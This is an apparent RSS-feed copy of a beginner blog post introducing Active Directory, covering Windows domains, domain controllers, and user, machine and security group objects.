            <content:encoded><![CDATA[<p>Active Directory are most likely the back bone of the corporate world and can be said that it’s more like a governing body of the access-rights and management of users or employee of the corporate world .</p><p><strong>Topics to be covered by this blog :-</strong></p><p>: Active Directory</p><p>: what are Active Directory Domain ?</p><p>: what are the components of the active directory domains ?</p><p>:</p><p><strong>Active Directory</strong> <strong>:-</strong></p><p>For a smaller organisation with few computers to manage and audit its a simple task to accomplish things starts getting complicated when the number of computer and users in offices starts going up to a huge count.</p><p>To handle or lets say deal with it at that scale we you Active Directory or call it <strong>Windows Domain</strong>.</p><p><strong>Windows domain : -</strong></p><p>A windows domain can be considered as a group of users and computers under the administration of a specific Business.</p><p>It can be considered as a centralized grouping of all the components required by the user or the machine itself for specific tasks.</p><p>This collection has to be managed right?</p><p>To Do all the management activity just like allocation and stuff similar to it Active Directory has <strong>Domain Controller</strong>.</p><p><strong>What exactly was made easy with this implementation ?</strong></p><p>For a machine to get added into a pre-existing network which is already configured is simple right, That’s exactly what Active Directory approach gave us.</p><p>To apply a security policy around every computer was easy as the every machine has to follow the access or restrictions imposed inside that network</p><p><strong>Real life example : -</strong></p><p>Possibly you may have seen a many university have an approach where any user can access his/her account on any available machine just by providing the credential of the own personal account to any of the machine connect to that network. This is because the Active Directory Domain manages the authorization and not every individual machine.</p><p><strong>Active Directory Domain Service :-</strong></p><p>An Active Directory Domain is just can be considered as a entry table which has a entry of every object present in the system at the movement that can be :- users,machine,printer, shares.</p><p><strong>We will take a look at this following entries from the Active</strong> <strong>Directory</strong></p><p>1 : users</p><p>2 : machine</p><p>3 :security groups</p><p><strong>1 : users :-</strong></p><p>A user is an entity to whom the AD Domain can provide privileges by authenticating them and logging them into the network.</p><p>There can be two types of entities in the user class :-</p><p>Real users :-</p><p>The actual user that interact with the system but only with the parts the are allow to are given privileges to access.</p><p>Services :-</p><p>Many time services running on the system need to pull some data or have to request for a services which are to be granted and authorized by the AD Domain</p><p><strong>2 : Machines :-</strong></p><p>Machine are also considers as an actively connected user who is also authenticated to the network by the AD Domain. Each time a new machine is connected a new machine object is created. Just like normal user each machine is also provided with its account to login to the network, but these account have only some limited access through the network .</p><p><strong>3 : Security Groups :-</strong></p><p>To grant access rights to users for a particular file is something that is common in most every OS, but creating a security group with specific terms or regulation makes the process simple. The only task is to create a group and then just add users which are supposed to follow those terms.</p><p>You can get a list of default Security groups loaded/created by windows after getting installed <a href="https://docs.microsoft.com/en-us/windows/security/identity-protection/access-control/active-directory-security-groups">here</a> .</p><p>That’s it for the brief introduction on What are AD and AD-S.</p><p>Thank You !</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=25794cc39e70" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>